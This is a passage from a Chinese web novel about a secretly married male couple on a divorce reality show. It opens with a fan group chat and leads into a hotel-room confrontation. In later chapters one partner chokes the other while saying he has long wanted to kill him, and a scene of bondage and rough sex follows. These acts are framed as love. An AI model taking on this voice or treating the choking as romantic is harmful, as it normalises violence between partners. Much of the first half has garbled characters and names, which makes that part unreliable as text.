【賒葉银个屁,忙着控评!】【靠,骆臣粉丝心黑手快,趁乱下场买黑热搜!!】[NO1是不是疯了?不是说最和的现任经纪人是裴说吗?我还特地去寺庙还愿了,希望装姐多多服顾我们小谢,结果签了NO1的第一个饼就是离婚综艺,不是装悦疯了就是我疯了[再见)[再见】[因为前夫哥就是NO1老板。】 C. (.】【不要再鬼打墙了,一提到那个男人就刷省略号!!】【我做不到,一想到景和和跟那个男人隐婚三年,我就.…】【虽然明知道明星和粉丝隔着天堑,但还是有种被爱了很多年的人欺骗辜负的感觉啊,哎,不知道说什么了,现在一边控评,一边觉得心好累。】 【粉丝都炸锅了,很难组织起来,麻了。】就在这时候。群内资历最深的粉头冒头发言了【春明:@全体成员,刚才一直没有参与讨论,因为景和的助理联系我了,她说节目组会收走嘉宾的手机,所以景和提前给粉丝写了一封信,让她适当的时候发出来。】【春明:大家看一下吧,景和的手写信[图片]】 【群主[春明]已开启全体禁言10分钟】 群里顿时沉寂下去,无人再发消息。 十分钟过去。 十一分钟过去。【屋子里好像漏雨了,把手机屏幕都给淹了。】【好巧,我家也漏雨,我去拿纸巾擦一下。】谢景和你是傻子吗??什么叫"双粉丝,什么叫“很抱载以这种方式让你们知道这件事,还有最后那一句,什么叫"这是双方共同做的决定,请大家不要怎心我而责备他。啊!怎么都快奔二了还这么不让人省心啊!我要像女鬼一样打着直一直!!】【感觉还能再多写几篇控评小作文。】【我再去拉点战斗力强的粉丝一起控,隐婚这件事先放一放!离不离婚也无所谓了!主要是赶紧把黑子打下去,不能让别家看笑话!】【那个介意我用小号联合CP粉打黑子吗?战斗力杠杠的。】【开什么国际玩笑,这个综艺一出来,不管是剧粉还是真人rps都跑光了,景和和哪儿还有CP粉?就算有,哪还有心思战斗啊?】【有的。】【之前景和跟馥光还没解约,去N01公司总部商谈的时候不是被狗仔拍到了吗?没几天就官宣签约N01了,当时就出了一批rps粉丝,嗑顶头上司X页流影帝,超话好像有小一万的关注。】【看了一眼,现在快五万了。】 【最早那批预言帝’现在挺活跃的,实时在线人数也多,而且先导片放出来之后,嗑CP的人数还在不断增.加】 【我去,七万了。】 【???】 【标题:《总所周知,毒唯和CP粉只对真嫂子[划掉,,真哥大破防,然而聪明机智的预言帝直接磕到了真大夫,谁人不服?小女不才,快哉快哉![HOT》】【虽然但是,这是离婚综艺]【那不是更好嗑了?三年隐婚无人知,一朝离婚天下闻,这份隐秘之爱终究要在暴露在天光下,我要所有人知道】 【爱过!】 【爱是一定的,过没过就不知道了。】 【确实,以前只看过谢景和的剧,对他路人好感,综艺一出来马上转粉了,男明星保养得真好,而且他本人性格蛮可爱的,主要是他男人长得也好帅,民政局广场同框那段,氛围感实在太强了.】 【看那气氛,很难说已经不爱了。】 【然后两个人就闷头往民政局里冲了,笑死。】 【离婚,得跑着去。】 【另外两对嘉宾在签字的时候都快哭出来了,黄昏组还稍微体面一面,但肉眼可见的难受,这两只!…大爆笑,吵成这鬼样子,明显是赌气吧,据我了解,这种情况一般离不了。】 真正的心寒,不是大吵大闹。望周知。】 【老实说,前面民政局那段我还没什么感觉,个人不太喜欢吵吵闹闹的相处模式,直到最后那三分钟,对,就是坐飞机那段!一下把我捶进坑底!希望最后不要离呀!!】 【吵架、冷战、但得抱着睡[邓布利多摇头jpg]】 【用手遮光那里,真的太戳人了。】 【是啊,足足让我感动了二十八秒。】【哈哈哈哈哈哈那一段,多看一秒都得露馅!】【感动了,但只能感动一点点。】 【[飞机三分钟剪辑纯享版.avi]】【这个片段已经爆出圈了,我刚刚在短视频平台一连刷到好几个剪辑,再过两天怕不是各种模仿版都出来了.】 被一众网友所津津乐道的出圈片段,实际上并没有发生什么很激烈的情节,甚至有一半的时长都只是两个男人抱在一起午睡的安静画面高清镜头下,一切无所遁形。剪辑则运用加速等后期手法,使画面有效凝练。只见飞机的私密情侣舱内,白棉祆男人坐在靠窗一侧,而黑西装男人则坐在另一侧,明明两张座椅紧闭相连,两人却坐得很开,谁也不搭理谁,俨然一副冷战中的模样。后来白棉祆男人从旁边架子上的背包里掏出剧本翻阅起来 然而,没过多久。 他的脑袋就一下下地啄着. 他睡着了。 少刻,那个小鸡啄米似的脑袋晃悠一下,忽而往侧边倒去,正好撞到黑西装男人的肩头,但只有额角挨到了些许位置,看上去随时会掉下来。 就在这时。 原来他没有睡着。 几秒后,两个人之间的距离近了一点点。 又近一点点。 睡着的男人像是感应到什么,不白觉地挪了挪,将脑袋完全搭在身边人的肩上,着的眉逐渐放松 黑西装男人只淡漠地侧脸一瞥,随后冷冷地收回视线。 大概是因为在上飞机之际,嘉宾的手机被节目组无情收缴了,男人似乎无聊到了极点,莫名将白棉袄男人手中的剧本抽出来,十分草率且敷行地翻了几页,很快又合上,放到一边。 看他表情,有些不耐烦。不知道是因为无聊,还是因为肩膀上的脑袋。正如节目组给他们起的代称-一视频里也处于午时,云层上的光辉没有沾染尘埃,照亮了这小小的空间,浅金色的日光扑在靠窗的白棉祆男人身上,将他深栗色的头发映出一圈光头发是新染的,发根干净。发梢带着不太夸张的弧度,微微翘起来,在空气中打着颤,不经意地挠弄着黑西装男人的颈侧和下巴烦人得紧。 于是,黑西装男人轻啧一声。他看起来急需做点什么来转移自己的注意力。随后,男人缓缓拾起手,捏住了身边沉睡之人领口的一粒雪白毛绒球。小球大概婴儿拳头大,绒丝细密柔软,从他的指缝间溢出些许,似乎想要出逃 像是一株被握住的蒲公英。 男人来来回回捏了好几下,腻了。 下一秒,他松开了那团被自己捏得有些变形了的毛绒球,转而用食指和中指去揪球上的绒丝,每次只揪两三根。 一下又一下。 不多时,空气中飘荡着一丝丝被放生的蒲公英绒丝。等男人反应过来的时候,前不久还饱满蓬松的毛绒球已经明显秃了一块,变得稀疏颓废,干得有些可怜了。但男人的脸上没有任何表情,只是很顺手地将秃了的毛绒球往身边人领子底下塞了塞,仿佛什么都没有发生过殊不知这一切都被对面的固定摄像头记录了下来。 大概是知道的。 不在意罢了。 好在另一粒毛绒球被主人压住,幸运地逃过一劫。 很明显,男人又无聊了。 他仰着颈子,偏脸往窗外眺望,喉结突起的弧度很性感,一片蓬松的栗色发丝蹭着他的下颌。 外头的云海翻涌,光线明耀到有些刺眼。 男人的视线逐渐下移,敛眸看向埋在自己颈侧的脑袋。 脑袋的主人睡得格外沉,呼吸均匀平缓,一时半会儿应该是醒不过来。他头顶有一缕发丝翘得很高,尾部弯起来,尖尖的,晃啊晃. 像一根弯曲的针。 又似蝎子尾巴上的毒刺。 看着看着,黑西装男人突然抬起一只手,四根指头成拳头,只伸出一根食指,缓慢朝那缕高翘的发丝移去 呼吸之间。 他的指腹被发梢刺中。 接下来,视频里的画面让人有种莫名的即视感。 113、Chapter 113 .. 《一点是明确写在合同里的 不过节目组也不是完全一刀切 毕竟如今已是电子通讯普及的现代社会,跟外界断联三天都是天方夜谭了,更何况每一位嘉宾都是有社会身份的成年人,必须考虑某些特殊情况,例如家属遇急之类的 因此,节目组为嘉宾设置了一道通讯后门。 在正式开拍之前,节目组已经跟每一位嘉宾完成了对接,所以时蔺川在这段时间里没日没夜的处理事务,也是为了空出接下来长达一个月的断联时间。 当然了。 对他而言,录制真人秀本身就是一项工作。 谢景和算是他的同事。 只不过这项工作要求他们两个同吃同住,共同完成一些节目组发布的任务,然后将这一切展现在镜头前罢工 没什么困难的 下午两点左右,飞机落地 节目组将分四周、四个不同地点进行拍摄,首周的拍摄地点就选定在这个名为“洗江的临海小城。 比起铜城,洗江更暖和一些,空气也没那么干燥,湿而暖,嗅起来带着几分类似雨后新芽的清新凉意 这是一个风最和气候都很怡人的旅游城市。 时蔺川和谢景和是最早降落在洗江的离婚嘉宾,节目组安排了车子来接机,直接将两人送到提前订好的酒店 此时,先导片的拍摄已经告一段 上车前,两人身上的收音设备被缩取下来,果指镜头也移开了,工作人员很有礼规地叮属道:“两位老师,接下来是休息时间,不过下午集划组的人会过来跟你们的通明天开播后的注意事项,麻规两位不要离开酒店 说是休息,其实一点也不清闲。 为了完成长时间的多人直播,整个综艺团队很庞大,光是负支时菌川和谢景和这一组嘉宾的工作人员就将酒店的一整层楼都住满了,存放设备都不知道费了几间房,车上,两人一路无话。节目组还挺有眼力见的,在开播之间,给他和谢最和准备了相邻的两间房,时川拖着自己的商务行李箱走进酒店房间,如此想到 随后,一整个下午。 几个策划组的工作人员过来敲了几次门 隔壁办然年轻策划抱着一个平板,对接下来一周的行程安排做了个简单的讲解:“时老师,本周的主题是孤岛”,环境比较封闭,过程中可能会考验到您和伴侣的生存能力“今天暂住酒店,明天六点就要起床做准备了,到时候会有车来接您和谢老师,车程一小时,最终在录制地点跟其他嘉宾汇合。“建议您今晚早点休息。” 时菌川吸了声,表示自己知道了。 时间过得很快 日头渐往西移,洗江的天暗了下来。 整个节日组跟打仗一样,每个人都忙得脚不沾地,但对嘉宾的招待还算周到,特地从高级餐厅订了晚餐. “PAP 当房门被教哨的时候,时随川还以为是前来送餐的工作人员。 没想到他一拉开门,就看到谢景和站在外头,脑袋微微低垂,发旋正对者自己。 小小一个。 酒店长廊和房间里设外头那么冷,谢景和已经脱了那身白到发光的棉袄,顺着房门半开的空除一下子钻进来,动作很快地反手扣上了门 “咔嗒。” 只一秒的功夫,房间里就多了个人 对此,时菌川只是挑了挑眉,双手抱肩,歪头凝视者背靠门座的谢最和,淡声问道:“你来干嘛? 谢票和拾眸看他,默然道: “我有话跟你说。“ 时随川嗤笑一声,又问: “什么话要价特地避开摄像头和麦克风来跟我说?" 谢景和看了他好半响,抿唇道:“你之后在镜头前面最好注意一点,不要像今天一样故意找架吵,这样可能会被骂的。 时简川:“你都上离婚综艺了,还怕被骂?“ 谢景和:“….我是伯你被骂。” 明星被驾是家常便饭,他的粉丝不少,黑也不少。但时菌川此前并不在娱乐圈活动,再加上谢景和也怕自己的粉丝迁怒于他,空气安静了两秒。谢景和想到了什么,忍不住深吸一口气,低声道:“我本来就不想上这个综艺…”他顿了顿,又道,“"是你要让我来。 说得倒也没错。时蔺川没否认,却也没吭声,就这么静静地望着人,然后就见谢景和的视线越过他的肩,落到房间角落的行李箱上 体积不算大,瞧着装不了太多东西。 良久。 谢最和问:“你就带了这么点东西过来?“时蔺川顺着他的视线回头看了一眼,很快又转回来。他还是没吭声,只是漠然地冲谢景和甩去一个视线,像是甩出一个问号。谢景和接收到了这个问号。他沉默片刻,突然道:"….会冷与此同时,他的视线逐渐下移,落到男人重落于身侧的手,冷白如玉,关节透着几分单薄的浅粉被冻出来的粉。 “我下午让乐言去附近商城买了几套防寒的衣服…”谢景和棍了抿唇,又拾手摸了摸后颈,轻声道,“待会儿我拿过来给你。 时度川没想到他是来说这个的。 隔了好一会儿。 他问:“为什么?" 谢景和吭味半天,说 "…你就当我买大了吧。“ 时蘭川仔细回想了一番今天发生的事,两人又是吵架又是冷战的,气众实在不算好有些好笑地道::“谢景和,你什么毛病?今天上午不是还跟我吵得开心么?下午冷战,晚上又跑过来给我送衣服? “你人格分裂了? 谢景和沉默,用一种很微妙的眼神石看他。时蔺川:“啧。“ 又是半响沉默。 屋子里静悄悄的,只有两道清浅的呼吸声,门外时不时传来节目组工作人员来回走动的杂音,时藏川瞧着谢景和的左手食指一下下地扣着裤缝,动作隐约透出一个信号, Chapter 114 沉默持续了大概十分钟。 酒店房间的灯很亮, 谢景和始终背贴着房门,从低头抠裤缝演变为抠手, 身躯被男人高大的影子罩住,看不清表情。 良久。 时蔺川听到他轻声道: “……我今天的态度很不好。” 不等时蔺川应声,他突然换了个话题,继续说:“我们很久没见了,这段时间你除了让别人来给我送文件,就再也没回过家……” 这个‘别人’,指的是裴悦。 说到这里, 谢景和一个停顿。 时蔺川从善如流地把话接了过去:“你也一样啊。”他笑了一下, 补充道,“你不是也没联系过我?” 沉默再次蔓延开来。 不过这次持续的时间很短,约莫一分多钟,谢景和终于停下了反复抠手指的动作, 抬头看向他, 脸上没什么表情,但眼眶有一点红。 “我怕一联系你,你又要对我说那些话。那天之后,我满脑子都是你掐着我的下巴, 问我是什么感想——” “你根本就是存心折腾我。” 他道出一个陈述性的句子。 时蔺川断然承认:“对。” 事实。 对于事实,他没什么好否认的。 不管是出于扮演任务的需求还是出于他自身的恶念, 时蔺川的的确确是故意为之,甚至在原著的基础上,还要深入三分。 下一秒。 谢景和默然道:“……所以我怕了。” 随后, 他像是打开了话匣子,语速很快地道:“包括今早在民政局门口,你帮我捡帽子, 那么体贴,还主动跟我打招呼,好像什么都没发生过一样……可我们明明已经闹了一个月的别扭了!” “我忍不住想,你接下来又要说什么,做什么……既觉得害怕又有些生气,所以掉头跑了,之后跟你吵的时候,也说了些难听的话,”他再次低头抠手指,声音越来越小,“但那些话都不是真心的。” 时蔺川哦了一声,懂了。 谢景和似乎想跟他道歉和好。 他双手环抱,提前声明道:“我不会跟你道歉的。” 谢景和:“……我知道。” “你是故意的,你为什么要道歉。” 听到这句话,时蔺川扬了扬眉:“你记性挺好。” 话罢,他想起谢景和今天开了光一样的嘴,很小心眼地道:“我记性也挺好的,你说我没素质,还说多看我一眼就想吐。” 谢景和神情默然,良久才出声道:“那都是反话,因为你总是不跟我好好说话,像是故意在找茬,你以前不是这样的,所以我……” 以前、以前、以前—— 时蔺川打断道:“你也说了,那是以前。” 沉默片刻。 谢景和点了点头:“那不提以前了。” 说话间,他抬眼瞥了眼男人脸上有些冷的表情,莫名心慌意乱,有点想抽烟缓解情绪,但硬生生地忍住了。 过了好一会儿。 谢景和深吸了一口气,问出了今天最想知道的问题:“蔺川,你是想跟我上综艺,还是真的想跟我离婚?” 其实这些事早该说清楚的。 他们大概是三对嘉宾里最糊里糊涂的一对。 这一个月也过得稀里糊涂。 时蔺川琢磨了两秒,发现谢景和这话说得挺有意思,反问道:“有区别吗?” 谢景和很快应道:“区别就是,上离婚综艺公开我们的关系,但最后不一定要真的离婚。况且在冷静期内,但凡有任一一方不愿意,就离不了,除非诉讼离婚,要打官司那种……” 他声音越来越小。 “要是我不想离,你会跟我打官司吗?” 时蔺川听出味儿了,谢景和貌似不想离,甚至已经开始预设选择不离婚的后续发展了。不知道为什么,他忽然有点来气,偏了偏脑袋,刚要说话,就听到门外传来两道敲门声。 谈话暂时中止。 这回,来人真是送餐员。 等时蔺川反应过来的时候,谢景和已经开门将两份包装精致的餐盒都取过来了。他一手提着一份,用肩膀关了门,抬眸看过来,很快又敛起上眼皮,盯着地板问:“……还没聊完,能一起吃吗?” 他还是不想走。 时蔺川冷着脸没说话,只往旁边撤了两步。 两人就这么莫名其妙地面对面吃起了饭。 吃着吃着。 谢景和低着头,突然问:“你是不是瘦了。” 时蔺川:“没有。” 谢景和:“你瘦了。” 时蔺川:“……” 谢景和:“这一个月,你想我吗?” 时蔺川:“不想。” 谢景和:“但是我一直在想你。” 时蔺川:“……” 谢景和:“我想来想去,” 他停顿了一下,有点焦躁地往嘴里塞了一口饭,随便咀嚼两下就咽了下去,反复几次之后,才继续说: “你让我跟你一起上离婚综艺,是不是因为当初你压根不想隐婚,只是为了配合我的工作才……” 他有个坏习惯:焦虑的时候容易暴食。 时蔺川却道:“不是。” 还真不是。 隐婚是他跟谢景和商谈过后的共同决定,甚至在婚后第一年,谢景和还想过公开自己的婚姻关系。是时蔺川一口回绝了。 谢景和又问:“那是因为我对你不好?” 时蔺川问他,“为什么这么想?” 平心而论,尽管在过往三年的生活中,确实是自己碍于人设,更照顾谢景和一些,但对方也是全心全意地跟他过日子,每一次出门工作都会给自己带礼物,就算是当天来回的短期工作,也要带点什么回来。 要么在家里乖乖等时蔺川回来。 要么一回来就跟着他身后,小尾巴一样。 就连他的银行卡密码也全都是自己的生日,任由自己随意支使。 在那些日常且琐碎的日子里,谢景和也不全然是被他照顾的那一方,甚至时常感到自己在家庭生活中做得不够多,因此想要推掉一部分工作,以至于跟馥光娱乐彻底撕破脸。 “原因不是早就告诉你了吗?” 见他非要找出一个理由,时蔺川笑了笑,慢条斯理地复述道:“你就是太倒霉,遇到我了。我根本不是你想象中的好好先生,一开始就是装出来骗你的,你也已经知道了,不是吗?” 谢景和:“……” 他沉默很久,才道了声, “可是,我不觉得遇到你是一件倒霉的事情啊。” 酒店房间窗户没关紧,一阵潮湿的冷空气刮进来,擦着时蔺川的后脖颈穿过去,给人以一种毛骨悚然的感觉,他轻轻呼出一口气,放下筷子,起身去关窗。 吱呀一声。 窗户闭紧了,时蔺川将风雨云雪或是其他什么将要来临的东西挡在了外面,没有留下一丝缝隙。 他转过身,没有往回走,而是倚在窗边,隔着好几米回望谢景和的侧影,听到那个人继续道, “我很高兴那天遇到你了,像梦一样,所以你那天晚上拿这件事来说,我没有控制好自己的情绪,动了手。” 他还说, “我很后悔,但不后悔遇到你。” 时蔺川怀疑谢景和的脑子坏掉了。 他冷笑着问:“就算我现在这样对你?” 谢景和:“就算你现在这样对我。” 时蔺川又问:“就算我以后也要这样对你?” 谢景和:“就算你以后也要这样对我。” 时蔺川怒及反笑:“你脑袋真的坏掉了。” 谢景和也莫名其妙闷笑了两声,结束得猝然,紧接着他背过手擦了一下眼角,应道:“你又故意这样说,我也会生气的,然后就又要跟你吵没有结果的架,但是……” 他‘但是’了半天。 时蔺川有一种预感—— 他不能再让谢景和继续往下说了。 然而夜风一个劲儿地拍打窗框,似乎还没有放弃钻进来的想法。时蔺川必须站在这里堵着它,不让它进来,便只能眼睁睁地看到谢景和抿着唇,微仰着脸望过来,一字一句地道: “但是……” “我还是不想放开你的手。” 他站起身,缓步朝男人走去,脚步没有一点点声响。 时蔺川却仿佛听到了震耳欲聋的声音,咚咚的响,像是强风叩窗,又似是某个偏僻地方引发了大地震,余波袭来。 可到头来,只是有一个人静悄悄地走到自己面前,轻轻牵住了他冰冷的手,随后轻声说道:“蔺川,你好像准备放开我的手了,是不是我不拉住的话,你就真的要离开了?” 谢景和顿了顿,深吸好几口气,才稳住了声音:“既然你总是说我不了解真正的你,那你能不能……” “让我了解一下?” 就在这时候。 哐当一声巨响! 他的话音刚落,男人身后的窗被来势汹汹的夜风掀开了一角,冷空气迫不及待地往屋子里灌,室温瞬间下降几个度,让人忍不住战栗。 时蔺川却忽然觉得怀中一暖。 谢景和小心翼翼地靠近他的怀中,指头扣进他的的指缝间,又拉着他的手探入自己的衣服下摆中,用肚子暖他的手。 酒店楼层略高,风声很大。 时蔺川站在窗台边,觉得自己摇摇欲坠。下颌处的头发很柔顺,发梢也是软的。有一句话顺着风,传进了他的耳朵里。 是谢景和在说话。 他说, “——好久不见。我很想你。” Chapter 115 就像是挡不住那阵破窗而入的夜风, 时蔺川最终也没能阻止谢景和说出那句带着两个颤音的话,掌下的腹柔软且温热, 随着说话的间隙一起一伏,血肉脏器隐在其中。 谢景和的心脏在上面一点的位置,仿佛他稍稍伸出手就能碰到。 然而。 时蔺川只是半颔着首,藏在镜片后的眸直勾勾地盯着怀中之人,眼神已经不仅仅是‘讨厌’的程度了,而是近乎‘怨恨’,仿佛将对方视作怎么都除不掉的附骨之疽, 恨不得以刀剔净。 ——或许, 他现在就应该去找把刀。 时蔺川盯着埋在自己颈间的那小半张侧脸,有些维持不住往日的冷漠神情,极度仇怨地想着。 谢、景、和。 在他看来,这个人, 这个名字, 以及这一存在所附带的所有痕迹皆是难以言喻的刺眼,而此时此刻,这种刺眼已经抵达到了巅峰,让他不堪再忍受! 而这种诡谲的危机感, 让时蔺川迫切地、焦躁地想要毁灭掉一些东西。什么都好。 ……他必须让那个不停震颤的东西停下来。 时蔺川的思绪难得混乱成一片,眉尾也不受控制地抽动着。 他冷着脸, 想要抽出被暖热了的手,可怀里的人抱着他的小臂不肯撒开,还在他领口蹭了几下脸, 留下些许不显眼的痕迹,磕磕绊绊地发出很细微的声音,“会冷的, 再暖一下。” 他分明说的是‘再暖一下’。 可时蔺川听到的却是‘再抱一下’。 这个借口拙劣的程度,让人闻之发笑。 时蔺川想要嘲讽,想要冷笑,可他好像失去了对自己面部表情的控制能力,嘴角始终勾不出带着嘲讽的冷笑,就连喉舌也仿佛被异物堵塞了,一个音节都吐不出来。 就在这时候。 夜风自觉闯了祸,满屋子逛了一通之后便急吼吼地离开,走前还将那条窗缝盖上了,发出哐啷一声巨响。 余音震耳。 过后,又是一阵长久的寂静。 酒店房间里的中央空调无声地运行着,不多时,就将降下的温度重新提起来了。前后温差一对比,衬得屋内有些热。 谢景和莫名紧张,以至于额角沁出些许细密的汗,皮肤滚烫,这道热度顺着他腹部的皮肤,一路攀上了男人的掌心。 时蔺川就是在这个时候说话的。 他的嘴巴看起来没有动,声音却从薄唇间飘了出来,像是从牙齿的缝隙里硬挤出来的。 “……你,” 霎时间,怀中人的脑袋被这个字勾了起来。 他仰着脸,跟时蔺川的距离进一步缩短了,唇齿相近,近到说一说话,就能碰到彼此柔软干涩的唇瓣。 呼吸也黏连。 温热、湿润、失去节奏。 几秒后,谢景和很轻微地抽了一下鼻子,脸上仍残留着方才没能在男人领口蹭干净的痕迹,眼周的皮肤格外湿润,眨眼时好似有什么东西顺着睫毛飞出来。 也可能是错觉。 不知道是不是预示到了什么,他敛着眼,似乎不太敢跟男人四目相对,一双耳朵却竖了起来,呼吸也一下子屏住,神情很紧张且专注。 很明显。 谢景和在期待自己的回应。 时蔺川的脸上没有笑,看上去冷漠又阴郁,说话时喉间微震,嗓音透着几分风雨欲来的前奏。 “……谢景和,你说你想了解真正的我,” 他稍作停顿,继续问: “那你想知道我此刻在脑子里琢磨什么吗?” 话音刚落。 被点了名的人猛地掀起眼皮,深邃的眼窝里藏了大片的阴影,却藏不住那对黑亮的眼瞳。 湿润,又明亮。 谢景和盯着他,还没说一个字,但时蔺川觉得自己已经拿到了正确答案。于是他偏了偏脸,轻轻吻在对方颊边,干燥的唇沾上了残余的湿痕,在灯光下显得有些莹润。 “好,我告诉你。” 下一秒。 时蔺川动了起来。 他从容不迫地往前迈出步子,逼得谢景和依照自己的步伐一步步往后退。与此同时,他贴在谢景和腹间的手逐渐往上爬…… 宛如一条缓慢游走的蛇。 行动间,两人的步伐几乎重合,谢景和没有做出任何反抗,顺从到不可思议,仿佛一只引颈受戮的幼鹿。 可他不是。时蔺川心想。 这时,他的掌纹与指纹已经擦着谢景和细腻的肤,越过了那小小的丘,途经左侧胸腔下的响动…… 但毒蛇没有一秒停留,继续朝着目的地爬过去。 当时蔺川的双手从谢景和的上衣领口穿出来,精准无误地扼住了那截细长的颈子时,两人已经移动到了房间中央的大床边。 时蔺川还是没有停下脚步。 很快,谢景和的膝窝撞上了床边沿,一个站不稳,猛地往后倒去! 他的手下意识地松开了时蔺川的腕,慌忙之中揪住了男人腰间的布料,却将对方一同带倒。 “扑通——” 两个人栽倒在床上。 谢景和摔了个七荤八素,他半躺在床边,膝盖以下露在外头,低领毛衣的下摆因男人的动作而皱缩起来,被男人的小臂带到锁骨处。 大片肌肤没了遮掩,却不冷。 而时蔺川则是悬在他上空,一只膝盖抵在边沿位置,另一只脚踩着地,上身低倾,与他视线垂直相接。 屋外的黑夜降临在谢景和身上。 是时蔺川遮住了所有的光。 在方才的动作间,男人的眼镜从鼻梁滑脱,露出了完整的五官,也露出镜片底下的那双狭长眼。他瞪着身下之人,眸光冷冽似冰,可冰层逐渐出现裂纹,浮出再也藏不住的滚烫岩液…… 时蔺川红着眼,双手紧紧扼住谢景和的脖颈,像是扼住了一只西伯利亚蝴蝶不断震颤的翅翼,咬牙切齿地道:“不只是此时此刻,我曾无数次想过——” “就这样掐死你!” “你听到了吗?你满意了吗?!” “……” 时蔺川的音量逐渐变大,到了最后,差不多已经是在嘶吼了,吼得双眼通红,颈侧的血管明显鼓涨,仿佛心脏快要爆裂开来。 他一遍遍地吼着,仇怨的声音充斥着整个房间,活像是一只被激怒的、彻底失了控的野兽,朝着身下的人发泄着所有恶意。 谢景和的表情空白,错愕地看着眼前一幕。 不可思议的一幕。 ——时蔺川哭了。 男人的眼泪一滴接着一滴地砸在他的脸上,砸得他生疼,疼得眩晕耳鸣,连自己的说话声都听不清了,好似整个人悬在万里高空,中间隔着风雨雷电,耳边只剩下崩裂的巨响。 谢景和好像听到自己说, “……那你要我怎么样?” 要我怎么样,都可以。 当耳鸣稍减,他又听到时蔺川凑到自己耳边,声嘶力竭地告诫:“我要你停下来,不准再靠近一步!” “……” “唯独这件事,我做不到。” Chapter 116 这大概是时蔺川两辈子最狼狈的时刻。 没有之一。 他的视线一片模糊, 耳鸣尖锐,但仍能听到自己正不顾形象地咒骂着身下的人, 刻薄且恶毒。而装了满脑袋的混乱念头,像是一团从身体深处涌出的烈火,欲将他焚烧,也欲将整个世界都炸成一片虚无。 可这时候—— 一只手松开了他腰间的衣服,缓慢地上移,顺着他因愤怒而鼓起的颈侧滑到颊边,紧接着掌心贴了过来, 大拇指的指腹在他眼睑下方一次次地擦过, 很快变得潮湿…… 再然后。 两只手环了上来,勾住了他的后脖颈,似是一条勾魂的索,将他一个劲儿地往下拉, 直至时蔺川的面庞埋入某个人的鬓发, 才停了下来。 时蔺川嗅到了一股熟悉的味道。 不知道什么时候,那两只手已经移动到他的后背处,还很轻很轻地拍了两下。时蔺川仍扼着谢景和的脖颈,能感受到对方的喉结一下下地滚动着, 似乎正努力地将自己的泣音往下咽。 猝不及防的,时蔺川忽然失去了全部的力气, 身体没了支撑之后,重重压在谢景和的身上,扼住对方脖子的双手却仍旧没有松开。 ……好想掐死他。 跟这个人同床共枕的每一个清晨, 时蔺川睁眼醒来,近距离地看着那张毫无防备的睡颜,心里总是在想, 好想、好想掐死他。 可每当他正要动手的时候,谢景和便会揭开那双薄薄的眼皮,露出底下如黑曜石般的眸子,面部肌肉很自然地牵动起来,形成一抹细微的笑,声音带着刚睡起来的迷蒙和懒怠,尾音有些上翘。 “早…哈……上好。” 句子里藏了个小小的哈欠。 没办法。 时蔺川只好收起蠢蠢欲动的手。 如此往复了三年,直到今天正式施加行动。 不知过了多久。 他听到谢景和颤着声说: “蔺川,我现在好像有点了解你了。” 紧接着,谢景和似乎学着自己曾经对他做过的那样——拥抱,拍拍背,又摸了摸自己的脑袋,然后郑重其事地道了声, “真的。” 谢景和永远也没办法忘记刚才发生的那一幕。 男人的脸深陷于阴翳当中,表情扭曲而偏执,双眸极尽怨恨地凝视着自己,仿佛在看一个与生俱来的仇敌,可为什么有那么多的透明液体掉下来呢? 像是天空下起了刀子雨。 谢景和感到悲伤和怨恨。 可这些都不是他的,是时蔺川的。 密密麻麻,数之不尽,让人感到窒息。 男人的手还掐在他的脖子上,但谢景和不觉得疼,反而动手的人更像是快要无法呼吸了,于是他用力地抱着身上的男人,感受着对方的体重将自己肺里的空气压出去,呼吸逐渐变得困难。 他哽咽着问:“我还想要你给我更多,可以吗?” 时蔺川:“……” 他忍不住将脸埋在谢景和柔软的发间,嘴唇挨着对方的耳尖,嗓子在刚才的肆意咒骂中变得嘶哑,鼻音很重,声调却是轻飘飘的。 “……你别后悔。” 说完这句话,他并没给谢景和留出应答的空隙,舌头径直闯入对方湿热的口腔中,将所有的音节都吞吃入腹。 那双扼颈的手松开了,却把被自己掀起来的低领毛衣扯得愈发变形。 不出一分钟。 时蔺川扒光了他。 可男人自己还西装三件套穿得板正,连长款风衣外套都没乱,站起身后又是一副衣冠楚楚的冷峻模样。 只不过没了眼镜的遮挡,他那双通红的狭长眼看上去有些违和,脸上还有些古怪的痕迹。 嘀嘀两声。 屋内空调的温度开始上升。 时蔺川随手将空调遥控器甩到床头柜上,那双鹰一样的眼睛全程没有从蜷缩在床上的那个人身上移开。 大概是冷。 谢景和不着寸缕地坐在雪白的床单上,双腿折叠在身前,脚踩在床沿处,两条胳膊支在膝头。 他仰着脸,也盯着身前的男人,神情宛如幼生的羊羔,不知来者是磨刀霍霍的屠夫,黑亮的眼睛里全是光亮。 时蔺川单手解着领结,另一只手很粗鲁地握住谢景和的左脚踝,用力往上提。 这突如其来的动作让他失去了平衡,两只手下意识地往后撑去,原本被阴影笼罩的地方没了遮掩,暴露在灯光下,露出位于左腿根部的一行纹身小字。 时蔺川果真是屠夫做派,直接拎着人的腿检查起了检疫商标。 距离纹身那天已经过去了近一个半月,谢景和恢复得很好,但时蔺川还是伸手摸了一下,以确认没有任何增生组织,指下的肌肤平坦且滑腻,他微微用力,便掐出凹陷的肉痕。 纹身是暗红色的,缀在谢景和的腿根。 时蔺川今天佩戴的领带也是暗红色,菱形条纹格低调且绅士,却被他拿来充当捆绑人用的麻绳。 谢景和没有一丝丝反抗的动作,只沉默地盯着他,任由他将自己的双手反绑在身后。 还打了个死结。 这个时候,已经没有人在意明天的节目安排了,也没有人在意一旁桌上只吃了几口的饭菜。 房间里很快响起一阵朦胧而又暧昧的渍声,随着一声拉链下拉的脆响,转而响起另一阵沉闷的撞击声。 快速利落,带着几分暴风骤雨般的生狠。 时蔺川站在床边,上身挺直,甚至有些后仰。他一手拉着打结的领带,将跪在床沿的谢景和拉起来,另一只手的指尖湿润,指缝间夹着一支点燃的烟。 他吐出一个烟圈,腰线绷直,一下比一下重。 谢景和面朝着酒店房门的方向,跪都跪不稳,那头微卷的栗色发丝晃来晃去,浑身肌肤浮着一层极淡的粉,使得脖颈上的掐痕都不大明显了。 他紧闭着嘴,不敢喊。 因为在开始之前,时蔺川曾掐着他的下巴,语气恶劣地告诫道: “别喊出声,这里隔音不是太好,你一叫,整个节目组的人都知道时蔺川和谢景和两个人今早刚签离婚协议书,结果连晚饭都顾不上吃,就忙着……” “打离婚炮了。” 117、Chapter 117. 